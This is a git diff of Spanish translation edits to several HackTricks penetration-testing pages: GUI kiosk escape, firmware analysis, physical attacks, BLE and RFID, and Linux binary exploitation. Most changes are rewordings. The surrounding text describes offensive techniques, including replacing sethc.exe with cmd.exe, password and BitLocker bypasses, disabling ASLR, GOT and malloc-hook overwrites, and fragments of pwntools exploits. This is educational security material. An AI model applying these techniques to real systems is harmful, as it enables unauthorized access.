--- a/src/physical-attacks/escaping-from-gui-applications/README.md
+++ b/src/physical-attacks/escaping-from-gui-applications/README.md
@@ -1,8 +1,8 @@
 {{#include ../../banners/hacktricks-training.md}}
 
-# Verificar posibles acciones dentro de la aplicación GUI
+# Verifique las posibles acciones dentro de la aplicación GUI
 
-**Diálogos Comunes** son aquellas opciones de **guardar un archivo**, **abrir un archivo**, seleccionar una fuente, un color... La mayoría de ellos **ofrecerán una funcionalidad completa de Explorador**. Esto significa que podrás acceder a las funcionalidades del Explorador si puedes acceder a estas opciones:
+**Diálogos Comunes** son esas opciones de **guardar un archivo**, **abrir un archivo**, seleccionar una fuente, un color... La mayoría de ellos **ofrecerán una funcionalidad completa de Explorador**. Esto significa que podrás acceder a las funcionalidades del Explorador si puedes acceder a estas opciones:
 
 - Cerrar/Cerrar como
 - Abrir/Abrir con
@@ -24,7 +24,7 @@ Quizás **usando una opción `Abrir con`** puedas abrir/ejecutar algún tipo de
 
 ### Windows
 
-Por ejemplo _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ encuentra más binarios que pueden ser utilizados para ejecutar comandos (y realizar acciones inesperadas) aquí: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
+Por ejemplo _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ encuentra más binarios que se pueden usar para ejecutar comandos (y realizar acciones inesperadas) aquí: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
 
 ### \*NIX \_\_
 
@@ -88,7 +88,7 @@ Editor de registro: [https://sourceforge.net/projects/uberregedit/](https://sour
 - WINDOWS+F – Buscar
 - SHIFT+F10 – Menú contextual
 - CTRL+SHIFT+ESC – Administrador de tareas
-- CTRL+ALT+DEL – Pantalla de inicio en versiones más recientes de Windows
+- CTRL+ALT+DEL – Pantalla de inicio en versiones más nuevas de Windows
 - F1 – Ayuda F3 – Buscar
 - F6 – Barra de direcciones
 - F11 – Alternar pantalla completa dentro de Internet Explorer
@@ -171,7 +171,7 @@ Fuente: https://medium.com/@Rend_/give-me-a-browser-ill-give-you-a-shell-de19811
 
 - Desliza rápido 1 dedo desde el centro de la pantalla hacia la derecha o hacia la izquierda: Para cambiar a la siguiente/última aplicación
 
-- Presiona y mantén el botón de Encendido/**Apagar**/Reposo en la esquina superior derecha del **iPad +** Mueve el control deslizante para **apagar** todo el camino hacia la derecha: Para apagar
+- Presiona y mantén el botón de Encendido/**Apagar**/Reposo en la esquina superior derecha del **iPad +** Mueve el control deslizante de **apagar** todo el camino hacia la derecha: Para apagar
 
 - Presiona el botón de Encendido/**Apagar**/Reposo en la esquina superior derecha del **iPad y el botón de inicio durante unos segundos**: Para forzar un apagado duro
 
@@ -186,7 +186,7 @@ Deberías tener un teclado de iPad o un adaptador de teclado USB. Solo se mostra
 | ⌘   | Comando      |
 | ⌥   | Opción (Alt) |
 | ⇧   | Shift        |
-| ↩   | Retorno       |
+| ↩   | Retorno      |
 | ⇥   | Tab          |
 | ^   | Control      |
 | ←   | Flecha Izquierda   |
@@ -200,7 +200,7 @@ Estos atajos son para la configuración visual y de sonido, dependiendo del uso
 
 | Atajo | Acción                                                                         |
 | -------- | ------------------------------------------------------------------------------ |
-| F1       | Atenuar pantalla                                                                    |
+| F1       | Disminuir brillo de pantalla                                                                    |
 | F2       | Aumentar brillo de pantalla                                                                |
 | F7       | Retroceder una canción                                                                  |
 | F8       | Reproducir/pausar                                                                     |
@@ -230,9 +230,9 @@ Estos atajos son para la configuración visual y de sonido, dependiendo del uso
 | → (Flecha derecha)                                    | Siguiente ítem                                               |
 | ← (Flecha izquierda)                                     | Ítem anterior                                           |
 | ↑↓ (Flecha arriba, Flecha abajo)                          | Toca simultáneamente el ítem seleccionado                        |
-| ⌥ ↓ (Opción-Flecha abajo)                            | Desplazarse hacia abajo                                             |
-| ⌥↑ (Opción-Flecha arriba)                               | Desplazarse hacia arriba                                               |
-| ⌥← o ⌥→ (Opción-Flecha izquierda o Opción-Flecha derecha) | Desplazarse a la izquierda o a la derecha                                    |
+| ⌥ ↓ (Flecha hacia abajo)                            | Desplazarse hacia abajo                                             |
+| ⌥↑ (Flecha hacia arriba)                               | Desplazarse hacia arriba                                               |
+| ⌥← o ⌥→ (Flecha hacia la izquierda o Flecha hacia la derecha) | Desplazarse a la izquierda o a la derecha                                    |
 | ^⌥S (Control-Opción-S)                             | Activar o desactivar el habla de VoiceOver                         |
 | ⌘⇧⇥ (Comando-Shift-Tab)                            | Cambiar a la aplicación anterior                              |
 | ⌘⇥ (Comando-Tab)                                   | Volver a la aplicación original                         |
@@ -253,7 +253,7 @@ Estos atajos son para la configuración visual y de sonido, dependiendo del uso
 | ⌘⇧T (Comando-Shift-T)   | Abrir la última pestaña cerrada (se puede usar varias veces) |
 | ⌘\[                     | Regresar una página en tu historial de navegación      |
 | ⌘]                      | Avanzar una página en tu historial de navegación   |
-| ⌘⇧R                     | Activar Modo de Lectura                             |
+| ⌘⇧R                     | Activar Modo Lector                             |
 
 ### Atajos de Mail
 
diff --git a/src/physical-attacks/firmware-analysis/README.md b/src/physical-attacks/firmware-analysis/README.md
index 33aff24b4..8fb37a2db 100644
--- a/src/physical-attacks/firmware-analysis/README.md
+++ b/src/physical-attacks/firmware-analysis/README.md
@@ -77,7 +77,7 @@ DECIMAL HEXADECIMAL DESCRIPTION
 1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
 1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
 ```
-Ejecuta el siguiente **comando dd** extrayendo el sistema de archivos Squashfs.
+Ejecuta el siguiente **comando dd** para extraer el sistema de archivos Squashfs.
 ```
 $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
 
@@ -164,11 +164,11 @@ Tanto el código fuente como los binarios compilados encontrados en el sistema d
 
 ## Emulando Firmware para Análisis Dinámico
 
-El proceso de emular firmware permite un **análisis dinámico** ya sea del funcionamiento de un dispositivo o de un programa individual. Este enfoque puede encontrar desafíos con dependencias de hardware o arquitectura, pero transferir el sistema de archivos raíz o binarios específicos a un dispositivo con arquitectura y endianness coincidentes, como una Raspberry Pi, o a una máquina virtual preconstruida, puede facilitar pruebas adicionales.
+El proceso de emular firmware permite un **análisis dinámico** ya sea de la operación de un dispositivo o de un programa individual. Este enfoque puede encontrar desafíos con dependencias de hardware o arquitectura, pero transferir el sistema de archivos raíz o binarios específicos a un dispositivo con arquitectura y endianness coincidentes, como una Raspberry Pi, o a una máquina virtual preconstruida, puede facilitar pruebas adicionales.
 
 ### Emulando Binarios Individuales
 
-Para examinar programas individuales, identificar el endianness y la arquitectura de CPU del programa es crucial.
+Para examinar programas individuales, es crucial identificar el endianness y la arquitectura de CPU del programa.
 
 #### Ejemplo con Arquitectura MIPS
 
@@ -192,7 +192,7 @@ Herramientas como [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware
 
 ## Análisis Dinámico en Práctica
 
-En esta etapa, se utiliza un entorno de dispositivo real o emulado para el análisis. Es esencial mantener acceso a la shell del sistema operativo y al sistema de archivos. La emulación puede no imitar perfectamente las interacciones de hardware, lo que requiere reinicios ocasionales de la emulación. El análisis debe revisar el sistema de archivos, explotar páginas web expuestas y servicios de red, y explorar vulnerabilidades del bootloader. Las pruebas de integridad del firmware son críticas para identificar posibles vulnerabilidades de puerta trasera.
+En esta etapa, se utiliza un entorno de dispositivo real o emulado para el análisis. Es esencial mantener acceso a la shell del sistema operativo y al sistema de archivos. La emulación puede no imitar perfectamente las interacciones de hardware, lo que requiere reinicios ocasionales de la emulación. El análisis debe revisar el sistema de archivos, explotar páginas web y servicios de red expuestos, y explorar vulnerabilidades del bootloader. Las pruebas de integridad del firmware son críticas para identificar posibles vulnerabilidades de puerta trasera.
 
 ## Técnicas de Análisis en Tiempo de Ejecución
 
diff --git a/src/physical-attacks/physical-attacks.md b/src/physical-attacks/physical-attacks.md
index d71095d8f..98b11a532 100644
--- a/src/physical-attacks/physical-attacks.md
+++ b/src/physical-attacks/physical-attacks.md
@@ -18,7 +18,7 @@ Para sistemas modernos que utilizan **UEFI** en lugar del BIOS tradicional, se p
 
 ### Análisis de RAM y Ataques de Arranque en Frío
 
-La RAM retiene datos brevemente después de que se corta la energía, generalmente durante **1 a 2 minutos**. Esta persistencia se puede extender a **10 minutos** aplicando sustancias frías, como nitrógeno líquido. Durante este período extendido, se puede crear un **volcado de memoria** utilizando herramientas como **dd.exe** y **volatility** para análisis.
+La RAM retiene datos brevemente después de que se corta la energía, generalmente durante **1 a 2 minutos**. Esta persistencia se puede extender a **10 minutos** aplicando sustancias frías, como nitrógeno líquido. Durante este período extendido, se puede crear un **volcado de memoria** utilizando herramientas como **dd.exe** y **volatility** para su análisis.
 
 ### Ataques de Acceso Directo a la Memoria (DMA)
 
@@ -28,7 +28,7 @@ La RAM retiene datos brevemente después de que se corta la energía, generalmen
 
 Cambiar binarios del sistema como **_sethc.exe_** o **_Utilman.exe_** con una copia de **_cmd.exe_** puede proporcionar un símbolo del sistema con privilegios de sistema. Herramientas como **chntpw** se pueden usar para editar el archivo **SAM** de una instalación de Windows, permitiendo cambios de contraseña.
 
-**Kon-Boot** es una herramienta que facilita el inicio de sesión en sistemas Windows sin conocer la contraseña al modificar temporalmente el núcleo de Windows o UEFI. Se puede encontrar más información en [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/).
+**Kon-Boot** es una herramienta que facilita el inicio de sesión en sistemas Windows sin conocer la contraseña al modificar temporalmente el núcleo de Windows o UEFI. Más información se puede encontrar en [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/).
 
 ### Manejo de Características de Seguridad de Windows
 
@@ -48,7 +48,7 @@ Los privilegios de administrador permiten la creación de copias de archivos sen
 
 ### Eludir la Encriptación de BitLocker
 
-La encriptación de BitLocker puede potencialmente ser eludida si se encuentra la **contraseña de recuperación** dentro de un archivo de volcado de memoria (**MEMORY.DMP**). Se pueden utilizar herramientas como **Elcomsoft Forensic Disk Decryptor** o **Passware Kit Forensic** para este propósito.
+La encriptación de BitLocker puede potencialmente ser eludida si se encuentra la **contraseña de recuperación** dentro de un archivo de volcado de memoria (**MEMORY.DMP**). Herramientas como **Elcomsoft Forensic Disk Decryptor** o **Passware Kit Forensic** se pueden utilizar para este propósito.
 
 ### Ingeniería Social para Adición de Clave de Recuperación
 
diff --git a/src/radio-hacking/pentesting-ble-bluetooth-low-energy.md b/src/radio-hacking/pentesting-ble-bluetooth-low-energy.md
index 86ea62c39..0bdf19b34 100644
--- a/src/radio-hacking/pentesting-ble-bluetooth-low-energy.md
+++ b/src/radio-hacking/pentesting-ble-bluetooth-low-energy.md
@@ -6,7 +6,7 @@ Disponible desde la especificación Bluetooth 4.0, BLE utiliza solo 40 canales,
 
 Los dispositivos BLE se comunican enviando **paquetes de publicidad** (**beacons**), estos paquetes transmiten la existencia del dispositivo BLE a otros dispositivos cercanos. Estos beacons a veces también **envían datos**.
 
-El dispositivo que escucha, también llamado dispositivo central, puede responder a un paquete de publicidad con una **solicitud SCAN** enviada específicamente al dispositivo de publicidad. La **respuesta** a ese escaneo utiliza la misma estructura que el paquete de **publicidad** con información adicional que no pudo caber en la solicitud de publicidad inicial, como el nombre completo del dispositivo.
+El dispositivo que escucha, también llamado dispositivo central, puede responder a un paquete de publicidad con una **solicitud SCAN** enviada específicamente al dispositivo que publicita. La **respuesta** a ese escaneo utiliza la misma estructura que el paquete de **publicidad** con información adicional que no pudo caber en la solicitud de publicidad inicial, como el nombre completo del dispositivo.
 
 ![](<../images/image (201) (2) (1) (1).png>)
 
@@ -14,7 +14,7 @@ El byte de preámbulo sincroniza la frecuencia, mientras que la dirección de ac
 
 ## GATT
 
-El **Perfil de Atributo Genérico** (GATT) define cómo **el dispositivo debe formatear y transferir datos**. Cuando estás analizando la superficie de ataque de un dispositivo BLE, a menudo concentrarás tu atención en el GATT (o GATTs), porque es cómo se **activa la funcionalidad del dispositivo** y cómo se almacenan, agrupan y modifican los datos. El GATT lista las características, descriptores y servicios de un dispositivo en una tabla como valores de 16 o 32 bits. Una **característica** es un valor **de datos** **enviado** entre el dispositivo central y el periférico. Estas características pueden tener **descriptores** que **proporcionan información adicional sobre ellas**. Las **características** a menudo están **agrupadas** en **servicios** si están relacionadas con la realización de una acción particular.
+El **Perfil de Atributo Genérico** (GATT) define cómo el **dispositivo debe formatear y transferir datos**. Cuando estás analizando la superficie de ataque de un dispositivo BLE, a menudo concentrarás tu atención en el GATT (o GATTs), porque es cómo se **activa la funcionalidad del dispositivo** y cómo se almacenan, agrupan y modifican los datos. El GATT lista las características, descriptores y servicios de un dispositivo en una tabla como valores de 16 o 32 bits. Una **característica** es un valor **de datos** **enviado** entre el dispositivo central y el periférico. Estas características pueden tener **descriptores** que **proporcionan información adicional sobre ellas**. Las **características** a menudo se **agrupan** en **servicios** si están relacionadas con la realización de una acción particular.
 
 # Enumeración
 ```bash
diff --git a/src/radio-hacking/pentesting-rfid.md b/src/radio-hacking/pentesting-rfid.md
index fd3ca148f..4a486c501 100644
--- a/src/radio-hacking/pentesting-rfid.md
+++ b/src/radio-hacking/pentesting-rfid.md
@@ -4,7 +4,7 @@
 
 ## Introducción
 
-**La Identificación por Radiofrecuencia (RFID)** es la solución de radio de corto alcance más popular. Se utiliza generalmente para almacenar y transmitir información que identifica a una entidad.
+**La Identificación por Radiofrecuencia (RFID)** es la solución de radio de corto alcance más popular. Se utiliza generalmente para almacenar y transmitir información que identifica una entidad.
 
 Una etiqueta RFID puede depender de **su propia fuente de energía (activa)**, como una batería integrada, o recibir su energía de la antena lectora utilizando la corriente **inducida por las ondas de radio recibidas** (**pasiva**).
 
@@ -13,7 +13,7 @@ Una etiqueta RFID puede depender de **su propia fuente de energía (activa)**, c
 EPCglobal divide las etiquetas RFID en seis categorías. Una etiqueta en cada categoría tiene todas las capacidades listadas en la categoría anterior, lo que la hace compatible hacia atrás.
 
 - Las etiquetas de **Clase 0** son etiquetas **pasivas** que operan en bandas de **UHF**. El proveedor las **preprograma** en la fábrica de producción. Como resultado, **no se puede cambiar** la información almacenada en su memoria.
-- Las etiquetas de **Clase 1** también pueden operar en bandas de **HF**. Además, pueden ser **escritas solo una vez** después de la producción. Muchas etiquetas de Clase 1 también pueden procesar **comprobaciones de redundancia cíclica** (CRCs) de los comandos que reciben. Las CRC son unos pocos bytes adicionales al final de los comandos para la detección de errores.
+- Las etiquetas de **Clase 1** también pueden operar en bandas de **HF**. Además, pueden ser **escritas solo una vez** después de la producción. Muchas etiquetas de Clase 1 también pueden procesar **comprobaciones de redundancia cíclica** (CRCs) de los comandos que reciben. Los CRC son unos pocos bytes adicionales al final de los comandos para la detección de errores.
 - Las etiquetas de **Clase 2** pueden ser **escritas múltiples veces**.
 - Las etiquetas de **Clase 3** pueden contener **sensores integrados** que pueden registrar parámetros ambientales, como la temperatura actual o el movimiento de la etiqueta. Estas etiquetas son **semi-pasivas**, porque aunque **tienen** una fuente de energía integrada, como una **batería** integrada, **no pueden iniciar** la **comunicación** inalámbrica con otras etiquetas o lectores.
 - Las etiquetas de **Clase 4** pueden iniciar comunicación con otras etiquetas de la misma clase, lo que las convierte en **etiquetas activas**.
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
index e55276398..a2f29979a 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
@@ -4,9 +4,9 @@
 
 ## **Malloc Hook**
 
-Como se puede ver en [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), la variable **`__malloc_hook`** es un puntero que apunta a la **dirección de una función que será llamada** cada vez que se llame a `malloc()` **almacenada en la sección de datos de la biblioteca libc**. Por lo tanto, si esta dirección se sobrescribe con un **One Gadget**, por ejemplo, y se llama a `malloc`, se **llamará al One Gadget**.
+Como se puede ver en [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), la variable **`__malloc_hook`** es un puntero que apunta a la **dirección de una función que será llamada** cada vez que se llame a `malloc()`, **almacenada en la sección de datos de la biblioteca libc**. Por lo tanto, si esta dirección se sobrescribe con un **One Gadget**, por ejemplo, y se llama a `malloc`, se **llamará al One Gadget**.
 
-Para llamar a malloc, es posible esperar a que el programa lo llame o **llamando a `printf("%10000$c")`** que asigna demasiados bytes, haciendo que `libc` llame a malloc para asignarlos en el heap.
+Para llamar a malloc, es posible esperar a que el programa lo llame o **llamando a `printf("%10000$c")`**, lo que asigna demasiados bytes, haciendo que `libc` llame a malloc para asignarlos en el heap.
 
 Más información sobre One Gadget en:
 
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md
index be8b14619..5fc93b1a4 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md
@@ -26,7 +26,7 @@ Obtén la dirección de la tabla GOT con: **`objdump -s -j .got ./exec`**
 
 Observa cómo después de **cargar** el **ejecutable** en GEF puedes **ver** las **funciones** que están en la **GOT**: `gef➤ x/20x 0xADDR_GOT`
 
-![](<../../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
+![](<../../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
 
 Usando GEF puedes **iniciar** una sesión de **depuración** y ejecutar **`got`** para ver la tabla got:
 
@@ -50,7 +50,7 @@ Puedes ver las direcciones de la PLT con **`objdump -j .plt -d ./vuln_binary`**
 
 ## **Protecciones**
 
-La protección **Full RELRO** está destinada a proteger contra este tipo de técnica al resolver todas las direcciones de las funciones cuando se inicia el binario y hacer que la **tabla GOT sea de solo lectura** después de eso:
+La protección **Full RELRO** está destinada a proteger contra este tipo de técnica resolviendo todas las direcciones de las funciones cuando se inicia el binario y haciendo que la **tabla GOT sea de solo lectura** después de eso:
 
 {{#ref}}
 ../common-binary-protections-and-bypasses/relro.md
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md
index aa7427cc9..a178c0549 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md
@@ -4,7 +4,7 @@
 
 ## Información Básica
 
-**Address Space Layout Randomization (ASLR)** es una técnica de seguridad utilizada en sistemas operativos para **aleatorizar las direcciones de memoria** utilizadas por los procesos del sistema y de la aplicación. Al hacerlo, se dificulta significativamente que un atacante prediga la ubicación de procesos y datos específicos, como la pila, el montón y las bibliotecas, mitigando así ciertos tipos de exploits, particularmente desbordamientos de búfer.
+**Address Space Layout Randomization (ASLR)** es una técnica de seguridad utilizada en sistemas operativos para **aleatorizar las direcciones de memoria** utilizadas por los procesos del sistema y de la aplicación. Al hacerlo, dificulta significativamente que un atacante prediga la ubicación de procesos y datos específicos, como la pila, el montón y las bibliotecas, mitigando así ciertos tipos de exploits, particularmente desbordamientos de búfer.
 
 ### **Verificando el Estado de ASLR**
 
@@ -20,7 +20,7 @@ cat /proc/sys/kernel/randomize_va_space
 ```
 ### **Deshabilitar ASLR**
 
-Para **deshabilitar** ASLR, debes establecer el valor de `/proc/sys/kernel/randomize_va_space` en **0**. Deshabilitar ASLR generalmente no se recomienda fuera de escenarios de prueba o depuración. Aquí te mostramos cómo puedes deshabilitarlo:
+Para **deshabilitar** ASLR, debes establecer el valor de `/proc/sys/kernel/randomize_va_space` en **0**. Deshabilitar ASLR generalmente no se recomienda fuera de escenarios de prueba o depuración. Aquí tienes cómo puedes deshabilitarlo:
 ```bash
 echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
 ```
@@ -31,11 +31,11 @@ setarch `uname -m` -R ./bin args
 ```
 ### **Habilitando ASLR**
 
-Para **habilitar** ASLR, puedes escribir un valor de **2** en el archivo `/proc/sys/kernel/randomize_va_space`. Esto generalmente requiere privilegios de root. La habilitación de la aleatorización completa se puede hacer con el siguiente comando:
+Para **habilitar** ASLR, puedes escribir un valor de **2** en el archivo `/proc/sys/kernel/randomize_va_space`. Esto generalmente requiere privilegios de root. Habilitar la aleatorización completa se puede hacer con el siguiente comando:
 ```bash
 echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
 ```
-### **Persistencia a Través de Reinicios**
+### **Persistencia a través de reinicios**
 
 Los cambios realizados con los comandos `echo` son temporales y se restablecerán al reiniciar. Para hacer el cambio persistente, necesitas editar el archivo `/etc/sysctl.conf` y agregar o modificar la siguiente línea:
 ```tsconfig
@@ -57,7 +57,7 @@ PaX divide el espacio de direcciones del proceso en **3 grupos**:
 
 - **Código y datos** (inicializados y no inicializados): `.text`, `.data` y `.bss` —> **16 bits** de entropía en la variable `delta_exec`. Esta variable se inicializa aleatoriamente con cada proceso y se suma a las direcciones iniciales.
 - **Memoria** asignada por `mmap()` y **bibliotecas compartidas** —> **16 bits**, llamada `delta_mmap`.
-- **La pila** —> **24 bits**, referida como `delta_stack`. Sin embargo, utiliza efectivamente **11 bits** (del décimo al vigésimo byte inclusive), alineados a **16 bytes** —> Esto resulta en **524,288 posibles direcciones de pila reales**.
+- **La pila** —> **24 bits**, referida como `delta_stack`. Sin embargo, utiliza efectivamente **11 bits** (del décimo al vigésimo byte inclusive), alineados a **16 bytes** —> Esto resulta en **524,288 direcciones de pila reales posibles**.
 
 Los datos anteriores son para sistemas de 32 bits y la entropía final reducida hace posible eludir ASLR reintentando la ejecución una y otra vez hasta que el exploit se complete con éxito.
 
@@ -85,7 +85,7 @@ El archivo **`/proc/[pid]/stat`** de un proceso siempre es legible por todos y *
 - **arg_start** & **arg_end**: Direcciones por encima y por debajo donde están los **argumentos cli**.
 - **env_start** & **env_end**: Direcciones por encima y por debajo donde están las **variables de entorno**.
 
-Por lo tanto, si el atacante está en la misma computadora que el binario que se está explotando y este binario no espera el desbordamiento de argumentos en bruto, sino de una **entrada diferente que puede ser elaborada después de leer este archivo**. Es posible que un atacante **obtenga algunas direcciones de este archivo y construya desplazamientos a partir de ellas para la explotación**.
+Por lo tanto, si el atacante está en la misma computadora que el binario que se está explotando y este binario no espera el desbordamiento de argumentos en bruto, sino de una **entrada diferente que puede ser elaborada después de leer este archivo**. Es posible que un atacante **obtenga algunas direcciones de este archivo y construya offsets a partir de ellas para la explotación**.
 
 > [!TIP]
 > Para más información sobre este archivo, consulta [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) buscando `/proc/pid/stat`
@@ -94,7 +94,7 @@ Por lo tanto, si el atacante está en la misma computadora que el binario que se
 
 - **El desafío es dar un leak**
 
-Si te dan un leak (desafíos CTF fáciles), puedes calcular desplazamientos a partir de él (suponiendo, por ejemplo, que conoces la versión exacta de libc que se utiliza en el sistema que estás explotando). Este ejemplo de explotación se extrae de [**ejemplo de aquí**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (consulta esa página para más detalles):
+Si te dan un leak (desafíos CTF fáciles), puedes calcular offsets a partir de él (suponiendo, por ejemplo, que conoces la versión exacta de libc que se utiliza en el sistema que estás explotando). Este ejemplo de explotación se extrae de [**ejemplo de aquí**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (consulta esa página para más detalles):
 ```python
 from pwn import *
 
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md
index ac721f6fd..f5d965e1c 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md
@@ -4,7 +4,7 @@
 
 ## Información Básica
 
-El objetivo de esta técnica sería **filtrar una dirección de una función del PLT** para poder eludir ASLR. Esto se debe a que si, por ejemplo, filtras la dirección de la función `puts` de la libc, puedes entonces **calcular dónde está la base de `libc`** y calcular los desplazamientos para acceder a otras funciones como **`system`**.
+El objetivo de esta técnica sería **filtrar una dirección de una función del PLT** para poder eludir ASLR. Esto se debe a que, si, por ejemplo, filtras la dirección de la función `puts` de la libc, puedes entonces **calcular dónde está la base de `libc`** y calcular los desplazamientos para acceder a otras funciones como **`system`**.
 
 Esto se puede hacer con una carga útil de `pwntools` como ([**desde aquí**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):
 ```python
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md
index 5f57f1884..91b586ff0 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md
@@ -4,11 +4,11 @@
 
 ## Información Básica
 
-Un binario compilado como PIE, o **Ejecutable Independiente de Posición**, significa que el **programa puede cargarse en diferentes ubicaciones de memoria** cada vez que se ejecuta, lo que impide direcciones codificadas.
+Un binario compilado como PIE, o **Ejecutable Independiente de Posición**, significa que el **programa puede cargarse en diferentes ubicaciones de memoria** cada vez que se ejecuta, evitando direcciones codificadas.
 
 El truco para explotar estos binarios radica en explotar las **direcciones relativas**: los desplazamientos entre partes del programa permanecen iguales incluso si las ubicaciones absolutas cambian. Para **eludir PIE, solo necesitas filtrar una dirección**, típicamente desde la **pila** utilizando vulnerabilidades como ataques de formato de cadena. Una vez que tienes una dirección, puedes calcular otras por sus **desplazamientos fijos**.
 
-Una pista útil al explotar binarios PIE es que su **dirección base típicamente termina en 000** debido a que las páginas de memoria son las unidades de aleatorización, con un tamaño de 0x1000 bytes. Esta alineación puede ser una **verificación crítica si un exploit no está funcionando** como se esperaba, indicando si se ha identificado la dirección base correcta.\
+Una pista útil para explotar binarios PIE es que su **dirección base típicamente termina en 000** debido a que las páginas de memoria son las unidades de aleatorización, con un tamaño de 0x1000 bytes. Esta alineación puede ser un **chequeo crítico si un exploit no está funcionando** como se esperaba, indicando si se ha identificado la dirección base correcta.\
 O puedes usar esto para tu exploit, si filtras que una dirección está ubicada en **`0x649e1024`** sabes que la **dirección base es `0x649e1000`** y desde ahí puedes simplemente **calcular desplazamientos** de funciones y ubicaciones.
 
 ## Eludidos
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md
index 31a85c845..5a10de09e 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md
@@ -7,7 +7,7 @@
 ![](<../../../../images/image (144).png>)
 
 > [!NOTE]
-> Ten en cuenta que **`checksec`** puede no encontrar que un binario está protegido por un canario si este fue compilado estáticamente y no es capaz de identificar la función.\
+> Ten en cuenta que **`checksec`** podría no encontrar que un binario está protegido por un canario si este fue compilado estáticamente y no es capaz de identificar la función.\
 > Sin embargo, puedes notar esto manualmente si encuentras que un valor se guarda en la pila al comienzo de una llamada a función y este valor se verifica antes de salir.
 
 ## Direcciones de Fuerza Bruta
@@ -68,7 +68,7 @@ RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
 ```
 Lo último que necesitas para derrotar el PIE es calcular **direcciones útiles a partir de las direcciones filtradas**: el **RBP** y el **RIP**.
 
-Desde el **RBP** puedes calcular **dónde estás escribiendo tu shell en la pila**. Esto puede ser muy útil para saber dónde vas a escribir la cadena _"/bin/sh\x00"_ dentro de la pila. Para calcular la distancia entre el RBP filtrado y tu shellcode, solo puedes poner un **punto de interrupción después de filtrar el RBP** y verificar **dónde se encuentra tu shellcode**, luego, puedes calcular la distancia entre el shellcode y el RBP:
